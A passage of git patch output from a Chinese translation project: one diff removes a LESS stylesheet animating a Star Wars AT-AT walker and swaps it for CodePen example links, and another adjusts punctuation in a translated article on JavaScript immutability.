-    display:block;
-    left:0;
-  }
-  .rock-content-2{
-    display:block;
-    left:20%;
-    top:-20px;
-  }
-  .rock-content-3{
-    display:none;
-    left:40%;
-    top:30px;
-  }
-  .rock-content-4{
-    left:60%;
-    top:-20px;
-  }
-  .rock-content-5{
-    left:80%;
-  }
-  .rock-content-6{
-    display:none;
-    left:90%;
-  }
-  .rock-1{
-    left:70%;
-    top:240px;
-  }
-  .rock-2{
-    left:40%;
-    top:150px;
-  }
-  .rock-3{
-    display:none;
-    left:90%;
-    top:70px;
-  }
-
-  .rock-7{
-    left:32%;
-    top:50px;
-  }
-  .rock-8{
-    left:64%;
-    top:110px;
-    display:none;
-  }
-  .rock-9{
-    left:80%;
-    top:130px;
-    display:none;
-  }
-  .rock-10{
-    left:74%;
-    top:200px;
-    display:none;
-  }
-  .rock-11{
-    left:87%;
-    top:170px;
-  }
-  .rock-12{
-    left:35%;
-    top:240px;
-    display:none;
-  }
-  .rock-13{
-    left:45%;
-    top:100px;
-    display:none;
-  }
-  .rock-14{
-    left:65%;
-    top:40px;
-
-  }
-}
-
-
-
-// SPACE SHIP
-.space-ship{
-  position:absolute;
-  left:-30%;
-  top:20%;
-  .size(97px, 32px);
-  background:#104166;
-  z-index:1000;
-  -webkit-filter: blur(5px);
-  -moz-filter: blur(5px);
-  -o-filter: blur(5px);
-  -ms-filter: blur(5px);
-  filter: blur(5px);
-
-  &:before{
-    content:'';
-    position:absolute;
-    left:-9px;
-    top:50%;
-    margin:-11px 0 0 0;
-    .size(9px, 22px);
-    background:#104166;
-  }
-  &:after{
-    content:'';
-    position:absolute;
-    left:100%;
-    top:0;
-    .square(0);
-    border-style: solid;
-    border-width: 32px 0 0 108px;
-    border-color: transparent transparent transparent #104166;
-  }
-}
-.space-ship-small{
-  animation: ship 4s infinite;
-  animation-fill-mode: forwards;
-  animation-timing-function: ease-in;
-  animation-delay: 4s;
-}
-.space-ship-big{
-  left:-30%;
-  top:50%;
-  .scale(2.5);
-  animation: ship 2s infinite;
-  animation-fill-mode: forwards;
-  animation-timing-function: ease-in;
-  animation-delay: 4s;
-}
-
-.space-ship-wing{
-  position:absolute;
-  left:27px;
-  top:-14px;
-  .size(50px, 25px);
-  background:#22689d;
-  z-index:2;
-
-  &:after{
-    content:'';
-    position:absolute;
-    left:100%;
-    top:0;
-    .square(0);
-    border-style: solid;
-    border-width: 25px 0 0 37px;
-    border-color: transparent transparent transparent #22689d;
-  }
-}
-.space-ship-bg{
-  position:absolute;
-  left:32px;
-  top:100%;
-  .size(60px, 18px);
-  background:#104166;
-
-  &:before,
-  &:after{
-    content:'';
-    position:absolute;
-    top:0;
-    .square(0);
-    border-style: solid;
-  }
-  &:before{
-    left:-12px;
-    border-width: 0 12px 18px 0;
-    border-color: transparent #104166 transparent transparent;
-  }
-  &:after{
-    right:-12px;
-    border-width: 18px 12px 0 0;
-    border-color: #104166 transparent transparent transparent;
-  }
-}
-.space-ship-gun{
-  position:absolute;
-  left:17px;
-  top:1px;
-  .size(30px, 10px);
-  background:#22689d;
-  z-index:2;
-
-  &:after{
-    content:'';
-    position:absolute;
-    left:100%;
-    bottom:1px;
-    .size(94px, 4px);
-    background:#22689d;
-  }
-}
-
-
-
-
-// AT-AT
-.at-at{
-  position:absolute;
-  left:50%;
-  top:50%;
-  margin:-135px 0 0 -120px;
-  .size(250px, 114px); // height 270px
-  z-index:95;
-}
-.at-at-content{
-  position:absolute;
-  left:0;
-  top:0;
-  //margin-top:;
-  .square(100%);
-  z-index:10;
-
-  .dark-bg{
-    position:absolute;
-    right:50px;
-    bottom:-10px;
-    .size(145px, 104px);
-    background:#104166;
-
-    &:before,
-    &:after{
-      content:'';
-      position:absolute;
-      bottom:-22px;
-      .square(60px);
-      .border-radius(30px);
-      background:#104166;
-    }
-    &:before{
-      left:-43px;
-    }
-    &:after{
-      right:-45px;
-    }
-  }
-  .dark-bg-right{
-    position:absolute;
-    left:100%;
-    bottom:0;
-    .size(50px, 50px);
-    background:#104166;
-
-    &:after{
-      content:'';
-      position:absolute;
-      right:-14px;
-      top:0;
-      .square(0);
-      border-style: solid;
-      border-width: 50px 14px 0 0;
-      border-color: #104166 transparent transparent transparent;
-    }
-    &:before{
-      content:'';
-      position:absolute;
-      right:-14px;
-      top:-18px;
-      .square(0);
-      border-style: solid;
-      border-width: 18px 0 0 54px;
-      border-color: transparent transparent transparent #104166;
-    }
-  }
-}
-
-
-.at-at-body{
-  position:absolute;
-  left:75px;
-  top:-16px;
-  margin-top:15px;
-  .size(100px, 96px);
-  background:@white;
-  z-index:20;
-  animation: at-at-body 2.5s infinite;
-  animation-timing-function: ease-out;
-}
-.at-at-body-bg{
-  position:absolute;
-  left:7px;
-  bottom:7px;
-  padding:4px 5px 0 65px;
-  .size(86px, 32px);
-  .border-radius(6px);
-  background:#9fd6ff;
-  .c;
-
-  .i{
-    position:absolute;
-    left:6px;
-    top:12px;
-    .size(4px, 8px);
-    .border-radius(2px);
-    background:#104166;
-  }
-  &> i{
-    float:right;
-    margin:0 0 2px 0;
-    .size(16px, 4px);
-    .border-radius(2px);
-    background:#104166;
-  }
-}
-.at-at-body-bg-first-block{
-  position:absolute;
-  left:0;
-  top:0;
-  .size(35%, 57px);
-  border-right:2px solid #9fd6ff;
-
-  i{
-    position:absolute;
-    .size(4px, 8px);
-    .border-radius(2px);
-    background:#9fd6ff;
-  }
-  .at-at-body-bg-first-block-item-1{
-    left:9px;
-    top:10px;
-  }
-  .at-at-body-bg-first-block-item-2{
-    left:15px;
-    top:10px;
-  }
-  .at-at-body-bg-first-block-item-3{
-    left:15px;
-    top:34px;
-  }
-}
-.at-at-body-bg-second-block{
-  position:absolute;
-  left:35%;
-  top:0;
-  .size(30%, 57px);
-
-  i{
-    position:absolute;
-    .size(4px, 8px);
-    .border-radius(2px);
-    background:#9fd6ff;
-  }
-  .at-at-body-bg-second-block-item-1{
-    left:18px;
-    top:10px;
-  }
-  .at-at-body-bg-second-block-item-2{
-    left:8px;
-    top:34px;
-  }
-}
-.at-at-body-bg-third-block{
-  position:absolute;
-  right:0;
-  top:0;
-  .size(35%, 57px);
-  border-left:2px solid #9fd6ff;
-
-  i{
-    position:absolute;
-    .size(4px, 8px);
-    .border-radius(2px);
-    background:#9fd6ff;
-  }
-  .at-at-body-bg-third-block-item-1{
-    left:10px;
-    top:10px;
-  }
-  .at-at-body-bg-third-block-item-2{
-    left:16px;
-    top:10px;
-  }
-  .at-at-body-bg-third-block-item-3{
-    left:5px;
-    top:34px;
-  }
-}
-
-.at-at-head{
-  position:absolute;
-  right:100%;
-  bottom:-5px;
-  margin:0 88px 0 0;
-  .size(64px, 38px);
-  background:@white;
-}
-
-.at-at-neck{
-  position:absolute;
-  left:100%;
-  bottom:10px;
-  .size(34px, 36px);
-
-  .neck-bg{
-    position:absolute;
-    left:0;
-    top:0;
-    .square(100%);
-    background:#104166;
-
-    &:after{
-      content:'';
-      position:absolute;
-      top:-15px;
-      left:0;
-      .square(0);
-      border-style: solid;
-      border-width: 0 0 15px 34px;
-      border-color: transparent transparent #104166 transparent;
-    }
-  }
-  .neck-ribs{
-    position:absolute;
-    left:0;
-    top:-2px;
-    .size(100%, 40px);
-    z-index:2;
-    overflow:hidden;
-    .c;
-
-    i{
-      float:left;
-      margin:0 0 0 2px;
-      .size(6px, 100%);
-      background:#9fd6ff;
-    }
-    .neck-cable-first{
-      position:absolute;
-      left:-6px;
-      top:0px;
-      .size(8px, 200%);
-      background:@white;
-      .rotate(-20deg);
-      .transition-timing(left top);
-    }
-    .neck-cable-second{
-      position:absolute;
-      left:16px;
-      top:0px;
-      .size(8px, 200%);
-      background:@white;
-      .rotate(-20deg);
-      .transition-timing(left top);
-    }
-    .neck-cable-last{
-      position:absolute;
-      left:32px;
-      top:0px;
-      .size(8px, 200%);
-      background:@white;
-      .rotate(20deg);
-      .transition-timing(left top);
-    }
-  }
-}
-
-.head-bg{
-  position:absolute;
-  left:0;
-  top:0;
-  .square(100%);
-  z-index:10;
-
-  i{
-    position:absolute;
-    .size(4px, 8px);
-    .border-radius(2px);
-    background:#9fd6ff;
-  }
-  .head-bg-first{
-    right:6px;
-    top:-6px;
-  }
-  .head-bg-second{
-    right:6px;
-    bottom:7px;
-  }
-}
-.head-snout{
-  position:absolute;
-  left:5px;
-  top:3px;
-  .square(34px);
-  .border-radius(18px);
-  border:3px solid #9fd6ff;
-
-  .in-head-snout{
-    position:absolute;
-    right:0;
-    top:0;
-    .square(14px);
-    overflow:hidden;
-
-    &:after{
-      content:'';
-      position:absolute;
-      right:0;
-      top:0;
-      .border-radius(20px);
-      .square(20px);
-      border:4px solid #9fd6ff;
-    }
-  }
-  .head-snout-gun{
-    position:absolute;
-    bottom:2px;
-    left:-8px;
-    .size(16px, 4px);
-    background:#9fd6ff;
-
-    &:before{
-      content:'';
-      position:absolute;
-      left:-8px;
-      top:-2px;
-      .size(8px, 8px);
-      background:#9fd6ff;
-    }
-    &:after{
-      content:'';
-      position:absolute;
-      right:-12px;
-      top:-2px;
-      .size(12px, 8px);
-      background:#9fd6ff;
-    }
-  }
-}
-.head{
-  position:absolute;
-  left:0;
-  top:0;
-  .size(100%, 100%);
-  z-index:5;
-
-  &:after{
-    content:'';
-    position:absolute;
-    left:0;
-    top:-15px;
-    .square(0);
-    border-style: solid;
-    border-width: 0 0 15px 64px;
-    border-color: transparent transparent @white transparent;
-  }
-  &:before{
-    content:'';
-    position:absolute;
-    top:0;
-    left:-16px;
-    .square(0);
-    border-style: solid;
-    border-width: 0 0 38px 16px;
-    border-color: transparent transparent @white transparent;
-  }
-}
-.head-chin{
-  position:absolute;
-  left:5px;
-  bottom:-9px;
-  .size(18px, 9px);
-  background:@white;
-
-  &:before{
-    content:'';
-    position:absolute;
-    left:-6px;
-    top:0;
-    .square(0);
-    border-style: solid;
-    border-width: 0 6px 9px 0;
-    border-color: transparent @white transparent transparent;
-    z-index:5;
-  }
-  &:after{
-    content:'';
-    position:absolute;
-    right:-18px;
-    top:0;
-    .square(0);
-    border-style: solid;
-    border-width: 9px 18px 0 0;
-    border-color: @white transparent transparent transparent;
-  }
-  .head-chin-bg-first{
-    position:absolute;
-    left:5px;
-    bottom:0;
-    .size(4px, 6px);
-    .border-radius(2px 2px 0 0);
-    background:#104166;
-  }
-  .head-chin-bg-second{
-    position:absolute;
-    left:11px;
-    bottom:0;
-    .size(4px, 6px);
-    .border-radius(2px 2px 0 0);
-    background:#104166;
-  }
-}
-.head-gun{
-  position:absolute;
-  right:20px;
-  bottom:0;
-  .size(25px, 4px);
-  background:#104166;
-  z-index:5;
-  animation: fire-back 2.5s infinite;
-  animation-timing-function: ease-out;
-
-  &:after{
-    content:'';
-    position:absolute;
-    left:-8px;
-    top:-2px;
-    .size(8px, 8px);
-    background:#2d445d;
-  }
-}
-.fire{
-  position:absolute;
-  left:-34px;
-  bottom:1px;
-  .size(36px, 2px);
-  animation: fire 2.5s infinite;
-  animation-timing-function: ease-out;
-  .c;
-
-  i{
-    float:left;
-    margin:0 0 0 4px;
-    .size(8px, 2px);
-    background:@white;
-  }
-}
-.head-left-bg{
-  position:absolute;
-  left:-16px;
-  top:12px;
-  .size(8px, 12px);
-  background:#2d445d;
-  .rotate(22deg);
-
-  &:after{
-    content:'';
-    position:absolute;
-    left:0;
-    top:-8px;
-    .square(0);
-    border-style: solid;
-    border-width: 0 0 8px 8px;
-    border-color: transparent transparent #2d445d transparent;
-  }
-}
-.head-top-bg{
-  position:absolute;
-  left:4px;
-  top:-12px;
-  display:block;
-  .size(32px, 8px);
-  overflow:hidden;
-  z-index:1;
-  .rotate(-14deg);
-
-  &:after{
-    content:'';
-    position:absolute;
-    bottom:0;
-    left:0;
-    .square(0);
-    border-style: solid;
-    border-width: 0 16px 50px 16px;
-    border-color: transparent transparent #2d445d transparent;
-  }
-}
-
-
-.at-at-body-left{
-  position:absolute;
-  right:100%;
-  top:28px;
-  margin:0 4px 0 0;
-  .size(50px, 68px);
-  background:@white;
-
-  &:after{
-    content:'';
-    position:absolute;
-    left:0;
-    top:-16px;
-    .square(0);
-    border-style: solid;
-    border-width: 0 0 16px 50px;
-    border-color: transparent transparent @white transparent;
-  }
-}
-.at-at-body-left-bg{
-  position:absolute;
-  left:16px;
-  top:16px;
-  .size(20px, 24px);
-  .border-radius(6px);
-  background:#9fd6ff;
-}
-.at-at-body-left-bg-1,
-.at-at-body-left-bg-2,
-.at-at-body-left-bg-3,
-.at-at-body-left-bg-4,
-.at-at-body-left-bg-5{
-  position:absolute;
-  .size(4px, 8px);
-  .border-radius(2px);
-  background:#9fd6ff;
-}
-.at-at-body-left-bg-1{
-  left:21px;
-  top:6px;
-}
-.at-at-body-left-bg-2{
-  left:27px;
-  top:6px;
-}
-.at-at-body-left-bg-3{
-  left:39px;
-  top:6px;
-}
-.at-at-body-left-bg-4{
-  left:7px;
-  bottom:7px;
-}
-.at-at-body-left-bg-5{
-  left:13px;
-  bottom:7px;
-}
-.at-at-body-right{
-  position:absolute;
-  left:100%;
-  top:31px;
-  margin:0 0 0 4px;
-  .size(68px, 65px);
-  background:@white;
-
-  &:after{
-    content:'';
-    position:absolute;
-    left:0;
-    top:-26px;
-    .square(0);
-    border-style: solid;
-    border-width: 26px 0 0 68px;
-    border-color: transparent transparent transparent @white;
-  }
-}
-.at-at-body-right-bg-1,
-.at-at-body-right-bg-2,
-.at-at-body-right-bg-3,
-.at-at-body-right-bg-4,
-.at-at-body-right-bg-5{
-  position:absolute;
-  .size(4px, 8px);
-  .border-radius(2px);
-  background:#9fd6ff;
-}
-.at-at-body-right-bg-1{
-  left:4px;
-  top:4px;
-}
-.at-at-body-right-bg-2{
-  left:31px;
-  top:4px;
-}
-.at-at-body-right-bg-3{
-  left:37px;
-  top:4px;
-}
-.at-at-body-right-bg-4{
-  left:59px;
-  top:4px;
-}
-.at-at-body-right-bg-5{
-  left:4px;
-  bottom:7px;
-}
-.at-at-body-right-bg{
-  position:absolute;
-  right:5px;
-  bottom:7px;
-  .size(32px, 32px);
-  .border-radius(6px);
-  background:#9fd6ff;
-
-  &:after{
-    content:'';
-    position:absolute;
-    right:5px;
-    top:5px;
-    .size(10px, 10px);
-    background:#104166;
-  }
-}
-.at-at-body-bottom{
-  position:absolute;
-  right:0;
-  top:100%;
-  margin-top:3px;
-  .size(60px, 20px);
-  background:@white;
-
-  .body-bottom-left{
-    position:absolute;
-    left:-40px;
-    top:0;
-    .size(40px, 20px);
-
-    &:before{
-      content:'';
-      position:absolute;
-      left:0;
-      top:0;
-      .square(0);
-      border-style: solid;
-      border-width: 0 48px 16px 0;
-      border-color: transparent @white transparent transparent;
-    }
-    &:after{
-      content:'';
-      position:absolute;
-      left:25px;
-      bottom:0;
-      .square(0);
-      border-style: solid;
-      border-width: 0 15px 12px 0;
-      border-color: transparent @white transparent transparent;
-    }
-  }
-}
-.at-at-body-bottom-bg{
-  padding:4px 0 4px 15px;
-  .size(100%, 100%);
-  .c;
-
-  i{
-    float:left;
-    margin:0 3px 0 0;
-    .size(4px, 12px);
-    .border-radius(2px);
-    background:#104166;
-  }
-}
-
-
-
-
-
-.leg-front-back{
-  left:30px;
-  z-index:5;
-  animation: legs 10s infinite;
-  animation-delay: 5s;
-
-  .leg-first{
-    animation: leg-first 10s infinite;
-    animation-delay: 5s;
-  }
-  .leg-second{
-    animation: leg-second 10s infinite;
-    animation-delay: 5s;
-  }
-  .in-second-leg{
-    animation: leg-foot 10s infinite;
-    animation-delay: 5s;
-  }
-}
-.leg-rear-back{
-  left:203px;
-  z-index:5;
-  animation: legs 10s infinite;
-  animation-delay: 7.5s;
-
-  .leg-first{
-    animation: leg-first 10s infinite;
-    animation-delay: 7.5s;
-  }
-  .leg-second{
-    animation: leg-second 10s infinite;
-    animation-delay: 7.5s;
-  }
-  .in-second-leg{
-    animation: leg-foot 10s infinite;
-    animation-delay: 7.5s;
-  }
-}
-.leg-front{
-  left:30px;
-  z-index:15;
-  animation: legs 10s infinite;
-
-  .leg-first{
-    animation: leg-first 10s infinite;
-  }
-  .leg-second{
-    animation: leg-second 10s infinite;
-  }
-  .in-second-leg{
-    animation: leg-foot 10s infinite;
-  }
-}
-.leg-rear{
-  left:203px;
-  z-index:15;
-  animation: legs 10s infinite;
-  animation-delay: 2.5s;
-
-  .leg-first{
-    animation: leg-first 10s infinite;
-    animation-delay: 2.5s;
-  }
-  .leg-second{
-    animation: leg-second 10s infinite;
-    animation-delay: 2.5s;
-  }
-  .in-second-leg{
-    animation: leg-foot 10s infinite;
-    animation-delay: 2.5s;
-  }
-}
-
-
-
-.leg-content{
-  position:absolute;
-  bottom:-15px;
-  .square(40px);
-
-  .leg-first-joint{
-    position:absolute;
-    left:-8px;
-    bottom:-8px;
-    .border-radius(20px);
-    border:4px solid @white;
-    .square(40px);
-    background:#9fd6ff;
-    z-index:2;
-
-    i{
-      position:absolute;
-      left:0;
-      top:50%;
-      margin-top:-5px;
-      .size(100%, 10px);
-      background:@white;
-
-      &:after{
-        content:'';
-        position:absolute;
-        left:50%;
-        top:50%;
-        margin:-2px 0 0 -4px;
-        .size(8px, 4px);
-        background:#9fd6ff;
-      }
-    }
-  }
-  .leg-first{
-    position:absolute;
-    left:0;
-    top:35px;
-    .size(28px, 60px);
-    background:#9fd6ff;
-    .rotate(-30deg);
-    .transition-timing(left top);
-
-    .leg-first-hr-a,
-    .leg-first-hr-b{
-      position:absolute;
-      left:8px;
-      top:0;
-      .size(2px, 100%);
-      background:#104166;
-    }
-    .leg-first-hr-b{
-      left:auto;
-      right:8px;
-    }
-  }
-  .in-first-leg{
-    position:absolute;
-    left:-6px;
-    bottom:-6px;
-    .square(40px);
-  }
-
-  .leg-second-joint{
-    position:absolute;
-    left:4px;
-    top:20px;
-    .border-radius(20px);
-    border:4px solid @white;
-    .square(32px);
-    background:#9fd6ff;
-    z-index:2;
-
-    i{
-      position:absolute;
-      left:0;
-      top:50%;
-      margin-top:-3px;
-      .size(100%, 6px);
-      background:@white;
-    }
-  }
-  .leg-second{
-    position:absolute;
-    //left:20px;
-    left:6px;
-    top:30px;
-    .size(28px, 50px);
-    background:#9fd6ff;
-    .transition-timing(left top);
-
-    .leg-second-hr{
-      position:absolute;
-      left:50%;
-      top:0;
-      margin:0 0 0 -3px;
-      .size(6px, 60%);
-      .border-radius(0 0 4px 4px);
-      background:#104166;
-    }
-  }
-  .in-second-leg{
-    position:absolute;
-    left:0px;
-    bottom:-15px;
-    .square(40px);
-    .rotate(30deg);
-    .transition-timing(left top);
-  }
-
-  .foot-joint{
-    position:absolute;
-    left:0px;
-    top:2px;
-    .size(40px, 18px);
-    //.border-radius(26px);
-    //border:4px solid @white;
-    //background:#9fd6ff;
-    overflow:hidden;
-    z-index:2;
-
-    .foot-ankle{
-      position:relative;
-      display:block;
-      .square(100%);
-
-      &:before,
-      &:after{
-        content:'';
-        position:absolute;
-        bottom:2px;
-        .square(8px);
-        .border-radius(4px);
-        background:#9fd6ff;
-        z-index:4;
-      }
-      &:before{
-        left:9px;
-      }
-      &:after{
-        right:9px;
-      }
-    }
-    .foot-ankle-bg{
-      position:absolute;
-      left:0;
-      bottom:0;
-      .square(0);
-      border-style: solid;
-      border-width: 0 20px 100px 20px;
-      border-color: transparent transparent @white transparent;
-    }
-  }
-  .foot-ankle-bottom{
-    position:absolute;
-    top:18px;
-    .size(40px, 8px);
-    overflow:hidden;
-    z-index:2;
-
-    &:after{
-      content:'';
-      position:absolute;
-      left:0;
-      top:1px;
-      .square(0);
-      border-style: solid;
-      border-width: 40px 20px 0 20px;
-      border-color: @white transparent transparent transparent;
-    }
-  }
-  .foot-ankle-space{
-    position:absolute;
-    left:-5px;
-    top:14px;
-    .size(50px, 26px);
-    .border-radius(20px 20px 0 0);
-    border:8px solid #9fd6ff;
-    border-bottom:3px solid #9fd6ff;
-  }
-  .foot{
-    position:absolute;
-    left:50%;
-    top:30px;
-    margin:0 0 0 -12px;
-    .size(24px, 37px);
-    background:@white;
-  }
-  .foot-bottom{
-    position:absolute;
-    left:50%;
-    bottom:0;
-    margin:0 0 0 -27px;
-    .size(54px, 18px);
-    overflow:hidden;
-    z-index:2;
-
-    &:before{
-      content:'';
-      position:absolute;
-      left:0;
-      bottom:0;
-      .square(0);
-      border-style: solid;
-      border-width: 0 27px 100px 27px;
-      border-color: transparent transparent @white transparent;
-    }
-    &:after{
-      content:'';
-      position:absolute;
-      left:50%;
-      bottom:0;
-      margin:0 0 0 -8px;
-      .size(16px, 4px);
-      background:#9fd6ff;
-    }
-  }
-  .foot-land{
-    position:absolute;
-    left:50%;
-    bottom:0;
-    margin:0 0 0 -40px;
-    .size(80px, 10px);
-    overflow:hidden;
-
-    &:before{
-      content:'';
-      position:absolute;
-      left:50%;
-      bottom:0;
-      margin:0 0 0 -60px;
-      .square(0);
-      border-style: solid;
-      border-width: 0 60px 10px 60px;
-      border-color: transparent transparent #9fd6ff transparent;
-    }
-  }
-}
-
-
-.leg-front-back,
-.leg-rear-back{
-  .leg-first-joint{
-    border-color:#104166;
-    background:#104166;
-
-    i{
-      display:none;
-    }
-  }
-  .leg-first{
-    background:#104166;
-  }
-  .leg-second-joint{
-    border-color:#22689d;
-    background:#22689d;
-
-    i{
-      display:none;
-    }
-  }
-  .leg-second{
-    background:#104166;
-  }
-
-
-  .foot-joint{
-    .foot-ankle{
-      &:before,
-      &:after{
-        display:none;
-      }
-    }
-    .foot-ankle-bg{
-      border-color: transparent transparent #22689d transparent;
-    }
-  }
-  .foot-ankle-bottom{
-    &:after{
-      border-color: #22689d transparent transparent transparent;
-    }
-  }
-  .foot-ankle-space{
-    border:8px solid #104166;
-    border-bottom:3px solid #104166;
-  }
-  .foot{
-    background:#22689d;
-  }
-  .foot-bottom{
-    &:before{
-      border-color: transparent transparent #22689d transparent;
-    }
-    &:after{
-      background:#104166;
-    }
-  }
-  .foot-land{
-    &:before{
-      border-color: transparent transparent #104166 transparent;
-    }
-  }
-}
-
-
-@keyframes ship {
-  0% {
-    left:-30%;
-  }
-  100% {
-    left:1000%;
-  }
-}
-
-
-@keyframes rock {
-  0% {
-    margin-left:0%;
-  }
-  100% {
-    margin-left:100%;
-  }
-}
-
-@keyframes first-rock {
-  0% {
-    left:-10%;
-  }
-  100% {
-    left:110%;
-  }
-}
-
-
-
-@keyframes fire-back {
-  0% {
-    width:25px;
-  }
-  40% {
-    width:25px;
-  }
-  45% {
-    width:20px;
-  }
-  50% {
-    width:25px;
-  }
-  100% {
-    width:25px;
-  }
-}
-
-@keyframes fire {
-  0% {
-    left:-34px;
-  }
-  50% {
-    left:-34px;
-  }
-  100% {
-    left:-1000px;
-  }
-}
-
-
-@keyframes at-at-body {
-  0% {
-    margin-top:15px;
-  }
-  20% {
-    margin-top:10px;
-  }
-  75% {
-    margin-top:10px;
-  }
-  80% {
-    margin-top:15px;
-  }
-  100% {
-    margin-top:15px;
-  }
-}
-
-
-
-@keyframes legs {
-  0% {
-    bottom:-15px;
-  }
-  10% {
-    bottom:-5px;
-  }
-  15% {
-    bottom:-5px;
-  }
-  25% {
-    bottom:-15px;
-  }
-}
-
-
-
-@keyframes leg-first {
-  0% {
-    left:0px;
-    .rotate(-30deg);
-  }
-  15% {
-    left:0;
-    top:20px;
-    height:50px;
-    .rotate(40deg);
-  }
-  30% {
-    left:0;
-    top:20px;
-    height:60px;
-    .rotate(40deg);
-  }
-}
-
-
-
-@keyframes leg-second {
-  0% {
-    top:30px;
-    left:6px;
-    height:50px;
-    .rotate(0deg);
-  }
-  15% {
-    top:50px;
-    left:10px;
-    height:50px;
-    .rotate(-60deg);
-  }
-  25% {
-    top:45px;
-    left:5px;
-    height:50px;
-    .rotate(0deg);
-  }
-  33% {
-    top:45px;
-    left:5px;
-    height:50px;
-    .rotate(0deg);
-  }
-  50% {
-    height:30px;
-  }
-
-  60% {
-    height:35px;
-  }
-}
-
-
-@keyframes leg-foot {
-  0% {
-    left:0px;
-    bottom:-15px;
-    .rotate(30deg);
-  }
-  15% {
-    left:-5px;
-    bottom:-25px;
-    .rotate(10deg);
-  }
-  20% {
-    left:-5px;
-    bottom:-40px;
-    .rotate(-35deg);
-    //background:red;
-  }
-  25% {
-    left:-5px;
-    bottom:-40px;
-    .rotate(-35deg);
-  }
-  33% {
-    left:-5px;
-    bottom:-40px;
-    .rotate(-30deg);
-  }
-}
-
-
-
-
-@media screen and (max-width: 1025px) , screen and (max-height: 500px){
-
-  .at-at{
-    margin-top:-95px;
-    .scale(0.8);
-  }
-
-  .mountain-first{
-    left:-80px;
-    .scale(0.8);
-  }
-  .mountain-second{
-    right:-100px;
-    .scale(0.8);
-  }
-
-  .first-bg-anim{
-    .second{
-      display:none;
-    }
-    .last{
-      display:none;
-    }
-  }
-
-}
-
-
-@media screen and (max-width: 740px) , screen and (max-height: 500px){
-
-  section{
-    min-height:0;
-  }
-
-  .at-at{
-    margin-top:-35px;
-    .scale(0.5);
-  }
-
-  .moon{
-    position:absolute;
-    left:50%;
-    top:25%;
-    margin:-60px 0 0 -180px;
-    .square(100px);
-  }
-
-  .mountain-first{
-    left:-150px;
-    margin-top:-170px;
-    .scale(0.5);
-  }
-  .mountain-second{
-    right:-180px;
-    margin-top:-160px;
-    .scale(0.5);
-  }
-
-}
-
-
-
-@media screen and (max-width: 500px) , screen and (max-height: 400px){
-
-  .moon{
-    margin:-60px 0 0 -100px;
-  }
-
-  .first-bg-anim{
-    .third{
-      display:none;
-    }
-  }
-
-}
-
-
-// Sizing shortcuts
-// -------------------------
-.size(@width: 5px, @height: 5px) {
-  width: @width;
-  height: @height;
-}
-.square(@size: 5px) {
-  .size(@size, @size);
-}
-
-// Border Radius
-.border-radius(@radius: 5px) {
-  -webkit-border-radius: @radius;
-     -moz-border-radius: @radius;
-          border-radius: @radius;
-}
-
-// Opacity
-.opacity(@opacity: 100) {
-  opacity: @opacity / 100;
-   filter: e(%("alpha(opacity=%d)", @opacity));
-}
-
-// Transformations
-.rotate(@degrees) {
-  -webkit-transform: rotate(@degrees);
-     -moz-transform: rotate(@degrees);
-      -ms-transform: rotate(@degrees);
-       -o-transform: rotate(@degrees);
-          transform: rotate(@degrees);
-}
-.scale(@ratio) {
-  -webkit-transform: scale(@ratio);
-     -moz-transform: scale(@ratio);
-      -ms-transform: scale(@ratio);
-       -o-transform: scale(@ratio);
-          transform: scale(@ratio);
-}
-.transition-timing(@origin) {
-  -webkit-transform-origin: @origin;
-     -moz-transform-origin: @origin;
-       -o-transform-origin: @origin;
-          transform-origin: @origin;
-}
-
-
-
-// Clearfix
-// --------
-// For clearing floats like a boss h5bp.com/q
-.c {
- .clearfix();
-}
-.clearfix() {
-  *zoom: 1;
-  &:before,
-  &:after {
-    display: table;
-    content: "";
-  }
-  &:after {
-    clear: both;
-  }
-}
-
-
-@white:     #fff;
-@black:			#000;
-```
+以下为精彩案例，点击图片可查看源码：
 
-效果预览：[codepen.io/r4ms3s/pen/gajVBG](https://codepen.io/r4ms3s/pen/gajVBG)
+- 案例 1：[![](https://ws3.sinaimg.cn/large/006tNc79gy1fgcfopqewxj30me0fqq3m.jpg)](https://codepen.io/waynedunkley/pen/YPJWaz)
+- 案例 2：[![](https://ws2.sinaimg.cn/large/006tNc79gy1fgcfozwrxbj30pn0jkq4i.jpg)](https://codepen.io/fbrz/pen/whxbF)
+- 案例 3：[![](https://ws3.sinaimg.cn/large/006tNc79gy1fgcfpbf291j31980ozjtb.jpg)](https://codepen.io/r4ms3s/pen/gajVBG)
 
 
 ## Conclusion

From 2e9e34e55adb9c85d892c53079a7fab770ef8861 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 7 Jun 2017 11:45:21 +0800
Subject: [PATCH 632/638] =?UTF-8?q?=E8=B0=83=E6=95=B4=E6=A0=87=E7=82=B9?=
 =?UTF-8?q?=E7=AC=A6=E5=8F=B7=E5=92=8C=E5=85=B3=E9=94=AE=E8=AF=8D=E5=A4=A7?=
 =?UTF-8?q?=E5=B0=8F=E5=86=99?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-and-cleaner-code-by-leveraging-the-power-of-immutability.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
index a1924997327..79dea20efdc 100644
--- a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
+++ b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
@@ -34,7 +34,7 @@ console.log(arrayB); // [1, 2, 3, 4, 5]
 
 例子中 **arrayB** 是 **arrayA** 的引用，所以如果我们通过 push 方法向任意数组中添加一个值 5，那么就会间接影响到另外一个，这个是违反不可变性的原则的。
 
-我们可以通过使用 [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) 函数以达到不可变性(注意：slice相当于浅复制，要求数组中的每一项必须是简单数据类型。如undefined,number,null,string,boolean等。)，进而优化我们的例子，此时代码的行为是完全不一样的。
+我们可以通过使用 [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) 函数以达到不可变性(译者注：slice 相当于浅复制，要求数组中的每一项必须是简单数据类型。如 undefined、Number、null、String、Boolean 等)，进而优化我们的例子，此时代码的行为是完全不一样的。
 
 ```
 const arrayA = [1, 2, 3];

From 1b84a98db8b7a43c4e002e1ee21970b731ceb4d0 Mon Sep 17 00:00:00 2001
From: Changkun Ou <hi@changkun.us>
